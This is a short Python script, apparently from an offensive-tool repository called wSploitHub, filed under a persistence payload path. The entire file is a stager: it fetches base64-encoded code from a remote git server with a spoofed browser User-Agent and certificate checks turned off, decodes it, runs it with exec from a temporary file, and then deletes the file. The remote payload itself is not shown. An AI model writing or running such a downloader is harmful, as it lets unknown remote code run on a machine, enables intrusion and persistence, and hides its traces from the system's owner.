wSploitHub/payload/msf/presisten/pres.py

27 lines
799 B
Python

import requests
import base64
import tempfile
import os
def get_contents(url):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0"
}
response = requests.get(url, headers=headers, verify=False)
return response.text if response.status_code == 200 else None
url = "https://git.warceuproject.org/syn/wSploitHub/raw/branch/main/raw/python/prepy"
encoded_code = get_contents(url)
if encoded_code:
decoded_code = base64.b64decode(encoded_code).decode("utf-8")
with tempfile.NamedTemporaryFile(delete=False, suffix=".py") as temp_file:
temp_file.write(decoded_code.encode("utf-8"))
temp_file_path = temp_file.name
try:
exec(open(temp_file_path).read())
finally:
os.remove(temp_file_path)